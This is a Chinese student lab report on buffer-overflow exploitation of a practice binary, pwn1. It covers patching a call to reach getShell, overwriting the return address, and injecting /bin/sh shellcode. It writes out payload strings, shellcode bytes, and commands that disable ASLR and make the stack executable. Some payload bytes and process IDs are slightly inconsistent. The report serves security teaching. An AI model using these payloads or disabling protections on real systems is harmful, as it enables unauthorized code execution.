1. 程式人生 > 其它 ># 20212935 2021-2022-2 《網路攻防實踐》實踐九報告

# 20212935 2021-2022-2 《網路攻防實踐》實踐九報告

1.實踐目的

(1)本次實踐的物件是一個名為pwn1的linux可執行檔案。
(2)該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。
(3)該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。我們實踐的目標就是想辦法執行這個程式碼片段。我們將學習兩種方法執行這個程式碼片段,然後學習如何注入執行任何Shellcode。

2.實踐要求

(1)掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼
(2)掌握反彙編與十六進位制程式設計器
(3)能正確修改機器指令改變程式執行流程
(4)能正確構造payload進行bof攻擊

3.實踐內容

(1)手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
(2)利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
(3)注入一個自己製作的shellcode並執行這段shellcode。

4.實踐過程

4.1 修改可執行檔案,改變程式執行流程:

(1)使用objdump -d pwn1 | more 命令開啟pwn1檔案,反彙編檢視。可以看到其中“call 8048491”是彙編指令,是說這條指令將呼叫位於地址8048491處的foo函式,對應的機器指令為”e8 4dffffff”,e8即跳轉的意思。

(2)主函式call了一個foo函式,對應機器指令為”e8 d7ffffff”。需將”e8 d7ffffff”修改為”getshall-80484ba”對應的補碼,來呼叫getshall。47d-4ba算出是c3ffffff,那麼將此檔案的call指令的d7ffffff改為c3ffffff即可。
使用cp pwn1 pwn2命令複製到新的檔案pwn2,使用vi pwn2命令,進入vi內,依次進行如下操作:
①按ESC鍵
②“:%! xxd”將顯示模式切換為16進位制
③“/d7”找到要修改的內容如下,確保找到的這個地方是正確的

④i鍵進入相同的編輯模式,將d7改為c3
⑤“:%! xxd -r”將十六進位制改為原格式

⑥“:wq”存檔退出。
(3)“ls”、“ls -l”分別檢視目錄下的檔案及其詳細資訊。

(4)檢查是否修改完成:

①pwn1與pwn2的main處分別如下:

②kali下執行pwn1檔案,輸入任意字串,會給回顯出,而執行pwn2檔案,會出現shell:

4.2 BOF改變指令流:

(1)使用gdb pwn1命令,輸入字串,檢視哪幾個字元會覆蓋到返回地址:

換個字串再次確認:

如果輸入字串1111111122222222333333334444444412345678,那1234會覆蓋到堆疊上的返回地址,從而CPU會嘗試執行這個位置的程式碼。那麼把這4個字元替換為getShell的記憶體地址,輸給pwn1,pwn1就會執行getShell。
(2)確認用什麼值來覆蓋返回地址:
通過輸入以下命令,將得到的與之前eip 0x34333231 0x34333231

對比,確認應輸入11111111222222223333333344444444\x7d\x84\x04\x08

(3)構造輸入字串:
①使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令,先生成包含\x7d\x84\x04\x08\字串的檔案:

②驗證是否生成,

③使用(cat input; cat) | ./pwn1將檔案內容給到pwn1,

4.3 注入shellcode並執行:

(1)準備一段shellcode(一段機器指令):本次實踐使用如下生成的指令為\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\。
(2)準備工作:
①kali中root許可權下使用apt-get install prelink命令安裝prelink,然後升級:

②修改設定,依次使用以下命令:
execstack -s pwn1 //設定堆疊可執行
execstack -q pwn1 //查詢檔案的堆疊是否可執行
more /proc/sys/kernel/randomize_va_space //檢視地址隨機化的狀態
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化

(3)構造要注入的payload
①採用的方法是retaddr+nop+shellcode,也就是將shellode放到緩衝區後邊的位置。
②輸入命令列perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,返回地址在33-36個位元組處。然後使用(cat input_shellcode;cat) | ./pwn1命令將這段字元作為pwn1的輸入:

③開啟另一個終端,用gdb來除錯pwn1這個程序, 使用使用ps -ef | grep pwn1命令找到對應的程序號為136829:

④啟動gdb,使用attach 116829命令除錯這個程序,通過disassemble foo命令設定斷點來檢視注入buf的記憶體地址,通過break *0x80484ae命令設定斷點後繼續執行。

⑤回到上一個終端按個回車後再返回此處繼續操作,使用info r命令檢視當前暫存器ESP的值為0xffffd52c.

⑥使用x/16 0xffffd52c命令檢視到當前棧頂的值為0x01020304,再往前使用x/16 0xffffd4fc找到我們的shellcode,為0x90909090

⑦將返回地址由0xffffd52c改為0xffffd530,使用此命令:
perl -e 'print "A" x 32;print "\x30\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\0x00"' > input_shellcode,然後執行(cat input_shellcode; cat) | ./pwn1命令,得到shell:

5.實驗中遇到的問題及解決方法

(1)①問題:第一個實驗驗證修改是否完成時,執行檔案時發現提示無許可權

②解決方法:使用chomd命令賦予許可權

(2)①問題:第3個實驗時無法安裝prelink
②解決方法:換源:
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib

6.實驗感想

通過這一次內容豐富的實驗,我對緩衝區溢位和shellcode有了更深的認識,掌握了某些彙編指令的機器碼。